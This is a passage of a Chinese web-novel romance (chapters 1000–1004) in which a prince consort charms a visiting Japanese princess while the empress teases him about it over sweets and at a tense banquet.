大伴骏河则在她侧后方挺身肃立,目光低垂,但眼角余光却时刻关注着林臻,带着武士本能的警惕。 短暂的沉默后,樱花内亲王鼓起勇气,抬起头,看向林臻。 这是她第一次在如此近的距离、相对平和的环境下仔细打量这位传说中的大乾亲王,慕容嫣女帝最信任的伴侣与股肱。 只见他面容俊朗,剑眉星目,鼻梁高挺,下颌线条清晰,虽已年近三旬,但岁月并未在他脸上留下过多痕迹,反而增添了几分成熟男性的沉稳与魅力。 最吸引人的是他那双眼睛,深邃如海,平静无波,却仿佛能洞察人心。 与他相比,樱花内亲王忽然觉得,自己以往在倭国见过的所谓青年才俊、勇武将军,都显得那么稚嫩和粗鄙。 “亲王殿下,”樱花内亲王深吸一口气,用尽量流畅的汉语问道,这也是她此行最大的困惑,“外臣近日在安州城内走动,见见百姓生活井然,市井繁荣,人人面带满足之色这与外臣来前所闻贵国陛下当初在此地的举措似乎颇为不同。外臣愚钝,实在不解这究竟是为何?难道过去的惨剧,他们都忘了吗?” 她问得有些急切,甚至有些失礼,但这疑问憋在她心里太久,不吐不快。 林臻静静地听着,?脸上没有任何不悦,?反而露出一丝淡淡的、仿佛早已料到的笑意。 他没有立刻回答,?而是端起手边的青瓷茶盏,?轻轻呷了一口,?动作舒缓而优雅。 放下茶盏后,他才将目光投向樱花内亲王,?那目光,?仿佛能穿透她内心的迷茫。 “内亲王有此疑问,实属正常。”林臻开口,?声音沉稳有力,?如同山涧溪流,?不疾不徐,“你看到的,是结果。而过程,往往被表象所掩盖。” 他顿了顿,?目光扫过一旁肃立的大伴骏河,?后者感受到那目光,?不由自主地将头垂得更低。 “治国安邦,如同医病。”林臻继续道,?语气平和,?却带着一种居高临下的智慧, “高句丽昔日,积弊已深,顽疾入骨。王室腐朽,贵族贪婪,官吏盘剥,民不聊生。其状,犹如一棵内部早已被蛀空的大树,外表虽存,实则摇摇欲坠。” 他的比喻形象而深刻。 “陛下挥师东征,海州、安州之战,看似酷烈,实则是以雷霆手段,斩断腐根,剜去毒瘤。” 第1000章 倭国公主芳心暗许 林臻的声音,?依旧平静,?但话语中的力量却让樱花内亲王心头震颤, “不错,过程是痛苦的,流血是难免的。但若不如此,旧疾如何能除?顽抗如何能止?唯有以绝对的武力,击碎所有不切实际的幻想和负隅顽抗的根基,才能为新生扫清障碍。” 他的话,?如同重锤,?敲在樱花内亲王的心上。 她从未听过有人将如此残酷的战争,解释得如此充满理性和远见。 “扫清障碍之后呢?”林臻话锋一转,?目光再次落在樱花内亲王脸上,?带着一丝引导的意味, “便是重建。陛下免赋税,分田地,修水利,兴工商,派良吏,行教化这些,才是你如今在安州城看到的‘繁荣’与‘满足’的根源。” 他的语气,?带着一种不容置疑的自信, “百姓是朴实的,也是最聪明的。谁能让他们安居乐业,他们就拥护谁。过去的伤痛,会被现实的安稳与未来的希望所抚平。陛下给予他们的,是高句丽王室永远无法给予的——公平、秩序和希望。” 说到这里,林臻微微停顿,?看着樱花内亲王那双充满震惊和思索的眼睛,?淡淡地补充了一句?:“而这,才是真正的‘仁政’,非是妇人之仁,而是帝王之仁。以杀止杀,以战止战,破而后立,方为大道。” “帝王之仁,破而后立。”樱花内亲王喃喃地重复着这几个字,心中掀起了惊涛骇浪。 她原本的世界观,在这一刻被彻底颠覆了。 她一直以为的“残暴”,在林臻冷静而睿智的阐述下,竟然变成了一种深谋远虑的、必要的“治疗”? 而随之而来的治理手段,更是展现出了远超她想象的智慧与气魄。 这种强烈的认知冲击,让她对眼前这个男子,产生了难以言喻的敬佩以及,一丝连她自己都未曾察觉的、更深层次的情感悸动。 她不由自主地拿林臻与身边的大伴骏河比较。 大伴骏河勇武、忠诚,但他的世界里,似乎只有刀剑、命令和简单的忠君思想。 他无法像林臻这样,站在如此高的角度,洞悉世事,阐述如此深刻宏大的道理。 这种智慧与气度的差距,如同云泥之别。 一个是在沙场搏杀的勇将,另一个则是执掌乾坤、洞悉人心的王者。 想到这里,樱花内亲王下意识地用眼角余光瞥了一眼侧后方如标枪般站立的大伴骏河。 以往觉得他英武挺拔的身姿,此刻在她眼中,却莫名地显得有几分僵硬和浅薄。 就像一件虽然锋利、却缺乏灵魂的兵器,与林臻这般光华内蕴、深不可测的美玉相比,顿时黯然失色。 一股难以言状的鄙弃之情,悄然在她心底滋生。 她甚至觉得,大伴骏河那刻意保持的警惕姿态,在林臻的从容面前,显得如此可笑和不得体。 “原来原来如此,”樱花内亲王失神地低语道,?脸颊不由自主地泛起一抹红晕,?她不敢再直视林臻那双仿佛能看透一切的眼睛,?慌忙低下头,?心跳如鼓, “谢谢谢亲王殿下解惑,外臣茅塞顿开。”她的声音细若蚊蚋,带着一丝慌乱。 林臻将她的反应尽收眼底,?眼中闪过一丝几不可察的了然,?但他并未点破,?只是淡然一笑?:“内亲王能明白便好。治国之道,在于洞察本质,而非拘泥于表象。贵国若欲长治久安,亦当深思。” 他的话语,既像是点拨,又像是一种无形的威慑。 “是外臣受教了。”樱花内亲王心乱如麻,?匆匆起身,?再次行礼,“殿下政务繁忙,外臣就不多打扰了。” 她此刻只想尽快离开这里,?好好整理一下自己纷乱的思绪和那莫名悸动的心绪。 林臻也站起身,?微微颔首?:“内亲王请便。在安州期间,若有需求,可告知礼部官员。” 樱花内亲王几乎是逃也似的离开了议事厅,?甚至忘了向身后的大伴骏河示意。 大伴骏河愣了一下,连忙跟上,他敏锐地感觉到公主殿下似乎有些不对劲,但具体为何,他却说不清楚,只是心中莫名地涌起一股不安。 议事厅内,林臻重新走到舆图前,?目光再次投向那片辽阔的海域,?嘴角勾起一抹意味深长的弧度。 倭国公主那点小儿女的心思,在他眼中,不过是棋盘上一粒微不足道的尘埃,甚至或许还能在未来的某个时刻,成为一颗有用的棋子。 而此刻,他的心思,早已飞回了后殿,飞到了那个只为他展现娇憨与依赖的女帝身边。 ...... 圣徽二年,八月初五,黄昏。 安州行宫,慕容嫣的寝殿内弥漫着一种慵懒而温馨的氛围。 窗外夕阳的余晖透过窗棂,在光洁的地板上投下斑驳的光影,暑热渐消,凉风习习。 慕容嫣正斜倚在窗边的软榻上,?手中把玩着一支玉簪,?神情放松。 她刚刚沐浴过,?身上只穿着那身作为寝衣的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。? 微湿的乌黑长发披散在肩头,?散发着淡淡的皂角清香。? 夏日傍晚,?殿内并不冷,?那件黑金貂皮披肩随意地搭在旁边的屏风上。 ?睡裙的棉质面料柔软贴身,?完美勾勒出她窈窕的身姿,?又因苏锦的轻薄,?在晚风中微微飘动,?舒适无比。 ?神凤降世裙在黄昏柔和的光线下,褪去了白日里作为礼服的庄重,更显其作为寝衣的私密与华美。? 极致玄黑的苏锦底料吸吮着暖色调的夕阳光线,色泽变得深沉而温暖,织入的金色棉绒与真金线则流淌着如同落日熔金般柔和而璀璨的辉光。 ?睡裙之上,那只擎天巨凤的图案,在放松的姿态下,少了几分睥睨天下的威严,多了几分栖息时的优雅与慵懒,凤眸微合,仿佛也沉浸在这片安宁之中。 ?宽大的喇叭袖一只软软垂在榻边,袖口的金线流苏拂过地面,另一只则被慕容嫣用来垫着侧卧的脸颊。 她左手拇指上的墨玉扳指,在夕阳下泛着温润含蓄的光泽。 那长达五丈的苏锦拖尾,?在榻上铺陈得极其随意——一部分卷在她腿边,?一部分迤逦地垂落榻沿,?更有一大部分,?如同墨金色的瀑布般,?凌乱地堆叠在榻下的地毯上,?形成了许多自然的褶皱。 这种沐浴后、居家休憩时特有的、毫无章法的凌乱,?充满了生活气息和极致的放松感,?也唯有在最亲近的人面前,?她才会如此不设防。? 棉质的亲肤与睡裙的宽松,让她可以尽情享受这难得的悠闲时光。 第1001章 要不留下给你当个小妾? 殿门被轻轻推开,林臻处理完公务,?迈步走了进来。 他也已换上了一身舒适的深色常服,?脸上带着一丝若有若无的笑意。 看到榻上慵懒如猫儿的慕容嫣,他眼中的柔情瞬间满溢。 “嫣儿。”他柔声唤道,?走到榻边,?自然而然地坐在榻沿,?伸手轻轻拂开她颊边的一缕湿发。 慕容嫣感受到他的气息,?睁开微眯的凤眸,?嘴角扬起甜甜的笑容,?像只等待爱抚的猫咪般朝他伸出手?:“夫君,你回来啦,事情都忙完了?”她的声音带着刚醒般的软糯。 “嗯,都忙完了。”林臻握住她伸来的手,?指尖传来她沐浴后微凉的触感。 他低头,?在她手背上轻轻吻了一下,?然后像是想起什么有趣的事,?嘴角的笑意加深了些,“今日见了那位倭国内亲王,倒是发生了一件颇有意思的小事。” “哦?”慕容嫣来了兴趣,?慵懒地支起上半身,?往林臻身边靠了靠,?好奇地眨着眼睛,“那个倭国公主?她又闹出什么笑话了?是不是又说了好多拍马屁的话?” 她的语气带着几分戏谑。 林臻看着她娇憨的模样,?忍不住轻笑出声,?伸手将她揽入怀中,?让她靠在自己胸前,?才低声道?:“那倒没有。只是为夫与她谈及安州现状,解释了一番陛下‘破而后立’的治国之道后,这位内亲王殿下看为夫的眼神,似乎有些不太一样了。” 他的话语中带着一丝玩味。 慕容嫣在他怀里仰起头,?凤眸中闪过一丝狡黠的光芒,?追问道?:“不太一样?怎么个不一样法?夫君快说嘛,别卖关子。” 她说着,?还用手指轻轻戳了戳林臻的胸口。 林臻握住她作乱的手指,?笑道?:“具体也说不上来。只是似乎少了几分畏惧与戒备,多了些嗯或许是敬佩?乃至些许痴迷?总之,与初次觐见时截然不同。临走时,更是神色慌乱,面泛红霞,连礼数都有些不周全了。” 他描述得轻描淡写,?但以慕容嫣的聪慧,?自然一点就通。 慕容嫣先是一愣,?随即像是听到了什么极其好笑的事情,?竟?“噗嗤”一声笑了出来,?笑得花枝乱颤,?整个人都软倒在林臻怀里。 “哎呦,笑死朕了。”她一边笑,?一边捶着林臻的肩膀, “所以那个倭国小公主是被我家夫君的,咳咳,‘帝王之仁’的大道理给迷住了?哈哈哈这这算什么?阵前倒戈?还是自投罗网?” 她笑得眼泪都快流出来了,?觉得这事实在是太过滑稽。 林臻见她笑得开心,?眼中宠溺更甚,?轻轻拍着她的背为她顺气:“或许是吧。倭国小邦,见识浅薄,骤闻大道,心神摇曳,也是常情。” 他的语气,带着一种居高临下的淡然。 慕容嫣笑了好一会儿,?才渐渐止住,?她抬起脸,?脸上还带着笑出的红晕,?凤眸亮晶晶地看着林臻,?突然冒出一个大胆又调皮的想法。 她伸出双臂,?环住林臻的脖颈,?将嘴唇凑到他耳边,?用气声撒娇般地说道: “夫君既然人家小公主对你一片‘痴心’要不朕就做个顺水人情等平壤事了把她留下来给你当个小妾如何?” 她说着,?还故意用舌尖轻轻舔了一下林臻的耳垂,?语气中充满了恶作剧般的戏谑, “你看啊,她是倭国皇女,身份也还算配得上,收了她,说不定还能让倭国更安分些,而且。” 她拖长了语调,?眼中闪着狡黠的光, “朕正觉得宫里有时候闷得慌,多个人说不定还挺有意思的,可以逗着玩,夫君你说好不好嘛?” 她这番话,?半真半假,?既是玩笑,?也带着一丝试探和难以言喻的自信。 她根本不相信林臻会同意,?也完全不担心,?只是觉得这样调侃夫君,?非常有趣。 林臻被她这突如其来的“提议”和耳边的痒意弄得身体微微一僵,?随即失笑摇头。 他伸手,?轻轻捏了捏慕容嫣挺翘的鼻尖,?眼中满是无奈与宠溺?:“你呀尽胡说八道。为夫有嫣儿一人,此生足矣。什么倭国皇女,番邦公主,在为夫眼中,与尘土何异?也唯有你,会把为夫当作什么香饽饽。” 他的回答没有丝毫犹豫,坚定而深情。 慕容嫣听了,?心中像喝了蜜一样甜,?脸上却故意装出失望的表情,?嘟着嘴道?: “真的不要?人家可是青春年少的小公主呢,不比朕这个‘老女人’有味道?” 她说着,?自己都忍不住笑了出来。 林臻看着她娇嗔的模样,?心中爱极,?低头便吻住了她嘟起的红唇,?一番缠绵后,?才抵着她的额头,?柔声道:“在我心中,嫣儿永远是初见时的模样,是这世间独一无二、无人可及的珍宝。莫说一个倭国公主,便是九天玄女下凡,也休想动摇你在我心中的分毫。” 这深情告白,让慕容嫣彻底融化。她满足地叹息一声,?将脸深深埋进林臻的颈窝,?闷闷地说:“夫君最好了,我就知道你不敢不要我。” 她的语气中,充满了被偏爱的有恃无恐。 两人相拥片刻,享受着这静谧的温情。 夕阳彻底沉入地平线,殿内烛火自动亮起,晕染出温暖的光圈。 过了一会儿,慕容嫣似乎又想起了那个倭国公主,?她从林臻怀中抬起头,?脸上带着恶作剧得逞般的坏笑?:“不过话说回来,夫君,下次她要是再找你,你就继续跟她讲你的大道理,朕倒要看看她能痴迷到什么程度,到时候朕再去见她好好安慰安慰她这颗破碎的芳心,哈哈哈。” 她越想越觉得好玩,?又笑了起来。 林臻看着她孩子气的模样,?只能无奈又宠溺地摇头。 他知道,?在慕容嫣心中,?那倭国公主不过是个无聊时可以用来打趣的物件,?其命运,?早已在谈笑间被决定。 “好,都依你。”林臻柔声道,?将她重新搂紧,“现在,我的女帝陛下,是否该用晚膳了?” 慕容嫣点点头,?撒娇道?:“嗯,夫君抱我过去。” 林臻轻笑,?依言将她打横抱起。 慕容嫣开心地环住他的脖子,?将头靠在他肩上。 就在林臻抱着她,?转身走向殿内用膳的偏厅的刹那—— 慕容嫣因为笑闹,?身体不自觉的微微转动。 那迤逦在榻下、堆叠凌乱的五丈墨金色拖尾被带动,?唰啦一声,?如同云卷云舒般拂过地毯**?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在殿内温暖烛光下闪烁着幸福与狡黠光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出如同恶作剧得逞般得意而耀眼的金芒,那光芒充满了被爱充盈的自信、对自身魅力的绝对笃定以及对一切潜在“威胁”的戏谑与不屑,尊贵、辉煌,且带着一种将深情与玩笑都牢牢掌控在手中的、稳操胜券的满足感! 这惊鸿一瞥,是她此刻心境最生动的写照。 裙摆落下,将那片得意的金光与满室的欢声笑语一同掩盖。 林臻抱着她,?走向偏厅。那身神凤降世裙的拖尾,?在身后迤逦摇曳。 倭国公主那点微不足道的少女心思,在这深宫帝后的恩爱与玩笑中,不过是一滴投入湖面的水滴,泛起一丝涟漪,便消失无踪。 第1002章 偶遇倭国公主 圣徽二年,八月初十。安州城在夏末的阳光下,显得愈发安宁繁荣。 市井喧嚣,人流如织,战争的创伤已被时间与新秩序逐渐抚平,至少表面如此。 这一日午后,慕容嫣留在行宫书房内批阅奏章。 她?依旧只穿着那身神凤降世裙。 ?书房内窗明几净,?她斜倚在铺着软垫的宽大书案后的紫檀木躺椅上,?姿态慵懒。 ?为了书写方便,?她将宽大的喇叭袖用精致的金环束起了一些,?露出纤细的手腕。 那件黑金貂皮披肩搭在一旁的椅背上。? 书案上奏章堆积,?但她似乎有些心不在焉,?手中朱笔有一下没一下地点着,?凤眸时而望向窗外,?似乎在期待着什么。 ?神凤降世裙在书房的静谧光线下,呈现出一种介于威仪与私密之间的独特美感。 ?极致玄黑的苏锦底料吸吮着从窗棂透入的阳光,色泽沉静,织入的金色棉绒与真金线则流淌着温和而持重的辉光。? 睡裙之上,那只擎天巨凤的图案,在沉思时,少了几分外露的锋芒,多了几分运筹帷幄的深沉与华贵。她左手拇指上的墨玉扳指,在执笔时与桌面轻轻碰撞。 那长达五丈的苏锦拖尾,?从躺椅上垂落,?在光洁的金砖地面上铺展开来。 由于她慵懒的坐姿和偶尔调整的动作,那拖尾便在书案下蜿蜒盘曲,?甚至有几缕,?卷到了书架脚旁,?沾染了少许书卷气,?形成一种思考时无意识造成的、带着书香墨韵的凌乱。 这种凌乱,?更显真实,?仿佛是她脑海中万千思绪的外化。 ?棉质的柔软与睡裙的舒适,让她在处理繁重政务时,身体能得到最大的放松。 “唉,”慕容嫣放下朱笔,?轻轻叹了口气,?揉了揉有些发涩的眼睛,?对侍立一旁的宫女嘟囔道?:“这些奏章看得朕头晕,也不知道夫君什么时候回来,他说去给朕买城南那家新开的蜜饯铺子的桂花糖糕了呢。” 她的语气里带着明显的期待和一丝撒娇般的抱怨,全然不似朝堂上杀伐果断的女帝。 宫女连忙躬身笑道:“陛下稍安,亲王殿下想必快回来了。” 慕容嫣点点头,?重新拿起一份关于平壤城防最新情况的密报,?却有些看不进去,?心思早已飞到了那甜糯的糕点和她夫君身上。 与此同时,安州城南最繁华的街市上,林臻正站在那家颇有名气的“甘霖斋”点心铺前。 他今日穿着一身低调的深蓝色锦缎常服,?未带随从,?如同一位寻常的富贵公子。 他刚买好一包还冒着热气的桂花糖糕,?细心用油纸包好,?提在手中,?嘴角不由泛起一丝温柔的笑意,?想象着慕容嫣吃到时开心的模样。 就在他转身准备离开时,一个带着惊喜和些许怯意的女声在他身后响起,用的是略显生硬的汉语:“林亲王殿下?” 林臻脚步一顿,?转过身,?看到来人,?眼中闪过一丝不易察觉的讶异。 只见樱花内亲王正站在不远处,今日她未穿正式宫装,而是穿着一身淡樱色绣有折枝梅的精致和服,发髻梳得一丝不苟,插着几根珍珠发簪,脸上薄施脂粉,更衬得她肌肤胜雪,眉眼如画,确实有着一种不同于中原女子的、娇柔婉约的传统美感。 她身后几步外,跟着面色复杂、欲言又止的护卫统领大伴骏河。 “原来是内亲王殿下。”林臻微微颔首,?神色恢复平静,?语气客气而疏离,“真是巧遇。” 见到林臻回应,樱花内亲王脸上顿时绽放出明媚的笑容,如同盛开的樱花。 她快步上前,?也顾不上礼仪,?仰头看着林臻,?眼中闪烁着毫不掩饰的兴奋与仰慕?: “真的是您!我刚才在那边茶楼窗口看到背影,就觉得像您!没想到真是!殿下您怎么一个人来这里?” 她的语气雀跃,带着少女的天真。 林臻晃了晃手中的点心包,?淡然道?:“出来买些点心。” “点心?”樱花内亲王好奇地凑近了些,?闻到一丝甜香,?笑道?:“是给女帝陛下买的吗?陛下也喜欢甜食?”她似乎对慕容嫣的一切都充满了好奇。 “嗯。”林臻简短地应了一声,?并不想多谈,?迈步欲走,“内亲王请自便,本王还有事。” “殿下请留步!”樱花内亲王却急忙跟上,?与他并肩而行,?叽叽喳喳地开始问个不停?: “殿下您那天说的破而后立我回去想了很久,真是太有道理了!我们倭国就从来没有过这样的气魄呢!还有还有安州城现在变得这么好都是您和陛下治理有方吧?我昨天还去看了新修的水渠真的好厉害!殿下您平时除了处理政务都喜欢做些什么呀?也喜欢逛街吗?” 她的问题一个接一个,?眼神热切,?仿佛有无数的话想对林臻说。 她身上淡淡的樱花熏香,以及那种全然崇拜、不带丝毫掩饰的态度,与慕容嫣时而娇憨、时而霸道、时而深不可测的复杂魅力截然不同,给人一种简单而清新的感觉。 林臻不得不承认,?这位异国公主,?确实有其动人之处。 他脚步未停,?但听着她清脆的声音,?看着身边这张充满异域风情的、写满仰慕的俏脸,?心中那根一直紧绷的、属于臣子与丈夫的弦,?似乎微不可察地松动了一丝。 他甚至下意识地放缓了脚步。 “本王闲暇时,不过读书习武,并无特别嗜好。”他回答得依旧简洁,?但语气却不自觉地比平时温和了些许。 “读书习武?殿下真是文武双全!”樱花内亲王眼中崇拜更甚,“我在倭国时,也读过一些汉籍,但总觉得深奥难懂,要是要是能有机会向殿下请教就好了。” 她说着,?脸上泛起红晕,?低下头,?露出纤细白皙的脖颈,?姿态娇羞可人。 跟在后面的大伴骏河,看着公主殿下对林臻如此热情主动,而林臻似乎也并不排斥,他的脸色越来越难看,拳头紧握,指甲几乎嵌进肉里,却只能强忍着,心中充满了无力感和一丝被比下去的屈辱。 林臻将她的娇羞看在眼里,?心中微微一动。 这种被年轻貌美异性纯粹仰慕的感觉,对于任何男子而言,都是一种难以言喻的满足。 他甚至短暂地想象了一下,?若是没有嫣儿,?这样一个身份尊贵、容貌秀丽、又对自己满怀痴心的异国公主,?或许?但这个念头刚一升起,就被他强行压了下去。 他深吸一口气,?脸上的温和收敛,?重新变得疏离。 “内亲王过誉了。请教不敢当,若对汉文化有兴趣,可向礼部申请派遣学者。”他加快了脚步,?明显不想再继续这场“偶遇”?。 樱花内亲王察觉到他态度的变化,?眼中闪过一丝失落,?但还是鼓起勇气追问道:“殿下您下次还会出来吗?我我可以,” “内亲王,”林臻打断她,?停下脚步,?转身,?目光平静却带着不容置疑的威严看着她,“本王事务繁忙,恐难有暇。贵使团在安州,当以正事为重。告辞。” 说完,他不再停留,?提着点心,?大步流星地离去,?背影很快消失在人群中。 樱花内亲王站在原地,?望着他消失的方向,?久久没有动弹,?脸上写满了怅然若失。 大伴骏河走上前,?低声想说什么,?却被她挥手制止。 “骏河你不懂,”她喃喃道,?眼中却闪烁着更加坚定的光芒,“这样的男子才是真正的王者。” 第1003章 公主也犯花痴 时间悄然流逝,窗外的日头渐渐西斜。 慕容嫣终于有些坐不住了。 她丢下朱笔,?站起身,?在书房内踱起步来。那长长的墨金色拖尾随着她的走动,?在身后蜿蜒摆动,?在地面上摩擦出细微的沙沙声。 “怎么去了这么久,”她蹙着眉,?自言自语,“不就是买个点心吗,难道遇到什么事了?” 一丝不易察觉的担忧掠过她的心头。 虽然相信林臻的能力,但这份等待的焦躁却难以平息。 就在这时,殿外传来熟悉的脚步声。 慕容嫣眼睛一亮,?脸上瞬间阴转晴,?像只欢快的鸟儿般迎到门口。 林臻的身影出现在门口,?手中提着那个熟悉的油纸包。 “夫君!”慕容嫣开心地唤道,?扑上前,?也顾不上女帝威仪,?伸手就想去拿点心,“你可回来了!朕等得花儿都谢了!” 林臻见她如此,?心中因街头偶遇而产生的一丝涟漪瞬间平复,?被满满的柔情取代。 他笑着将点心举高,?逗她?:“嫣儿别急,让为夫看看,我的女帝陛下有没有乖乖处理政务?” 慕容嫣跺了跺脚,?娇嗔道?:“讨厌!快给我嘛!朕批了好多奏章呢!都快饿扁了!” 她说着,?跳着脚去够,?那迤逦的拖尾随之欢快地晃动。 林臻不再逗她,?将点心递给她,?顺势将她搂入怀中,?低头在她发间深深一嗅,?柔声道?:“好,给你。路上耽搁了一会儿。” 慕容嫣迫不及待地打开油纸包,?拿起一块还温热的桂花糖糕,?咬了一小口,?满足地眯起眼?:“嗯好吃!还是夫君最懂我!” 她一边吃,?一边随口问道?:“耽搁了?什么事呀?” 林臻看着她毫无心机的满足模样,?心中那份因欣赏异国美人而产生的细微波动,?彻底消散无形。 他轻描淡写地说道?:“没什么,只是在街上偶遇了那位倭国内亲王,说了几句话。” 慕容嫣正专心品尝糕点,?闻言,?动作顿了一下,?抬起眼帘,?凤眸中闪过一丝狡黠的光芒,?似笑非笑地看着林臻?:“哦?偶遇?说了几句话?那位小公主是不是又对着夫君犯花痴了呀?” 她的语气里,没有醋意,只有浓浓的打趣意味。 林臻被她看得有些不好意思,?轻咳一声,?掩饰道?:“休得胡言。不过是寻常礼节罢了。” 慕容嫣却不依不饶,?将剩下的半块糕点塞进林臻嘴里,?笑道?:“瞧夫君这模样定是被人家的传统美给晃了眼吧?没关系,没关系,朕准了!下次她再偶遇你,你就多跟她说几句让她彻底死心塌地,到时候朕也好有理由把她留下来给你暖床呀!” 她说着,?自己先笑得前仰后合。 林臻被她闹得哭笑不得,?只能将她紧紧抱住,?无奈道?:“你呀真是唯恐天下不乱。为夫心中只有你一人,天地可鉴。” 慕容嫣在他怀里笑够了,?才抬起头,?用手指点了点他的鼻尖,?眼中满是自信与深情?:“朕知道,朕逗你玩呢,量你也不敢有别的心思,不然。” 她做了个抹脖子的动作,?随即又笑道:“不过说真的,那公主若真安分留在宫里当个花瓶,看看也挺养眼的,夫君你说是不是?” 她这话,?半真半假,?既是玩笑,?也流露出一种身为胜利者和绝对主导者的、近乎天真的残忍与宽容。 林臻看着她,?心中唯有叹息与更深沉的爱意。 他知道,?在慕容嫣的世界里,?一切都在她的掌控之中,?包括他的忠诚,?也包括那位倭国公主的命运。 就在这时,慕容嫣似乎想到什么,?转身想去书案上拿茶杯。 就在她转身的刹那—— 动作带着戏弄夫君后的轻松与愉悦! 那在书房地面铺陈凌乱的五丈墨金色拖尾被带动,?唰啦一声,?如同墨浪般翻滚?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在夕阳余晖与烛光交融下闪烁着绝对自信与掌控光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出如同正宫主权宣誓般耀眼而笃定的金芒,那光芒充满了对爱情的绝对信心、对自身魅力的无比骄傲以及对一切潜在“风景”的包容与俯视,尊贵、辉煌,且带着一种将深情与权力都牢牢握在手中的、不容置疑的权威感! 这惊鸿一瞥,是对街头那场小小涟漪最彻底的消解。 裙摆落下,将那片自信的金光掩盖。 慕容嫣拿起茶杯,?喝了一口水,?冲林臻甜甜一笑?:“夫君晚膳想吃什么?” 窗外,晚霞满天。行宫内,温情脉脉。 ...... 圣徽二年,八月十二,黄昏。 安州行宫一处临水而建、视野开阔的花厅内,一场小型但规格极高的晚宴即将开始。 花厅四面轩窗敞开,晚风送入荷塘清香,夕阳余晖将水面染成金红。 厅内陈设精致,一张紫檀木嵌螺钿圆桌置于中央,桌上已摆好数样精致菜肴,以时令河鲜和山珍为主,配以清酒香茗。 慕容嫣无疑是这场宴会绝对的主角。 她穿着?那身神凤降世裙,为了晚间微凉,?她肩上披着那件华贵无比的黑金貂皮披肩,?绒毛在夕阳下泛着柔和的光泽。 她云鬓高绾,?插着一支金凤步摇,?流苏轻颤,?却丝毫不影响她左手拇指上那枚墨玉扳指的温润光泽。 ?神凤降世裙在这半正式半私密的晚宴场合,展现出一种独特的魅力。 ?极致玄黑的苏锦底料在室内渐暗的光线下更显深邃,如同静谧的夜空,织入的金色棉绒与真金线则借着烛火与夕阳的最后一抹光辉,流淌着温暖而内敛的辉光,与桌上精致的银器餐具交相辉映。? 睡裙之上,那只擎天巨凤的图案,在宴饮的氛围中,少了几分朝堂的威严,多了几分宴饮主人的雍容与华贵,仿佛凤凰栖息于梧桐枝头,俯瞰来宾。 ?宽大的喇叭袖被宫装长袖所覆,但袖口处神凤降世裙特有的金线流苏仍偶尔闪现。 第1004章 情侣吃饭,公主瞪眼 那长达五丈的苏锦拖尾,?此刻成为了彰显身份与个性的焦点 它并未拘泥于礼制,?而是从慕容嫣所坐的主位自然地铺散开来,?越过光洁的木地板,?甚至有一部分,?蜿蜒到了铺着地毯的休息区,?与花厅内随意摆放的盆景、香几的腿脚交织在一起,?形成一种既彰显主权又带着几分闲适慵懒的凌乱。 这种凌乱,?在此刻,?是一种无声的宣告?:?即便是在宴请外宾的场合,?她的规矩,?就是规矩。 ?棉质的柔软与睡裙的称谓,在这觥筹交错的场合,更添一丝令人捉摸不透的神秘与亲和并存的气息。 林臻坐在慕容嫣的右手边,?身着亲王常服,?气度沉稳。 他的目光大部分时间都温柔地落在慕容嫣身上,?偶尔才礼貌性地扫过对面的客人。 他的存在,如同定海神针,既是慕容嫣权力的延伸,也是她情感的依靠。 而今晚的特别来宾,樱花内亲王,则坐在慕容嫣的左手边,?与林臻相对。 她今日显然经过了精心打扮,?穿着一身最为隆重的十二单衣,?层叠的色彩试图展现倭国皇室的华美,?但在慕容嫣那简约而极致的墨金色泽面前,?却显得繁琐而局促。 她低垂着头,?双手紧张地交叠在膝上,?几乎不敢抬眼,?更不敢去碰面前精美的象牙筷子。 她身后的角落里,护卫统领大伴骏河如雕塑般肃立,脸色铁青,目光死死地盯着桌面,仿佛那上面有刺。 宴会的气氛,从一开始就诡异而尴尬。 慕容嫣似乎浑然不觉,?她先亲手为林臻布了一筷子鲜嫩的鲈鱼脍,?柔声道?:“夫君尝尝这个,今早刚捞上来的,很是鲜美。” 动作自然亲昵。 林臻含笑接过,?也回敬了她一勺蟹粉豆腐?:“嫣儿也多用些,你近日操劳,需得补补。” 两人之间的温情互动,与桌上的佳肴一样,自然而流畅。 然而,这温馨的画面却让对面的樱花内亲王如坐针毡。 她感觉自己像个多余的摆设,?每一次慕容嫣与林臻的低语轻笑,?都像针一样扎在她心上。 她带来的翻译跪坐在她身后稍远的地方,?同样紧张得大气不敢出。 慕容嫣仿佛这才注意到客人的沉默,?她放下筷子,?用丝巾轻轻擦了擦嘴角,?目光转向樱花内亲王,?脸上带着一抹看似温和实则莫测的笑意: “内亲王殿下,可是这些菜肴不合口味?为何不动筷子?”她的声音通过翻译传来,依旧清越,却带着无形的压力。 樱花内亲王浑身一颤,?连忙抬起头,?挤出一个比哭还难看的笑容,?用生硬的汉语结结巴巴地回答?:“回回陛下菜肴十分精美,只是外臣不胜惶恐。” “惶恐?”慕容嫣眉梢微挑,?身子微微向后靠向椅背,?一只手随意地搭在铺着桌布的桌上,?指尖有一下没一下地轻敲着,?那墨玉扳指与桌面发出轻微的叩击声, “内亲王是朕的客人,有何可惶恐的?莫非是觉得朕与亲王怠慢了客人?” 她说着,?目光似有意似无意地扫过林臻,?林臻回以她一个无奈又宠溺的眼神。 “不!不敢!”樱花内亲王吓得差点从座位上弹起来,?连连摆手,“陛下与亲王殿下招待十分周到是外臣自己紧张” 慕容嫣看着她惊慌失措的样子,?嘴角的笑意加深了些,?却更显深邃。 她忽然话锋一转,?语气变得轻快,?甚至带着几分八卦般的好奇,?问道?: “说起来内亲王殿下觉得朕的皇夫,林亲王为人如何?”她这个问题,?问得极其突兀而直接,?仿佛一把利剑,?瞬间刺穿了所有虚伪的客套。 “!!!” 花厅内的空气仿佛瞬间凝固了。 樱花内亲王脸色瞬间煞白,?血色尽褪,?嘴唇哆嗦着,?一句话也说不出来。 她下意识地用眼角余光飞快地瞥了林臻一眼,?只见他神色平静,?正专注地为慕容嫣剔着鱼刺,?仿佛没听到这个要命的问题。 大伴骏河在角落里拳头握得咯咯作响,?额角青筋暴起。 “嗯?怎么不说话了?”慕容嫣催促道,?语气依旧轻松,?但那双凤眸中,?却闪烁着洞悉一切的光芒,“但说无妨嘛,只是闲聊而已。朕听说内亲王前几日在街上偶遇亲王,相谈甚欢?想必对亲王印象不错?” 樱花内亲王只觉得一股寒气从脚底直冲头顶。 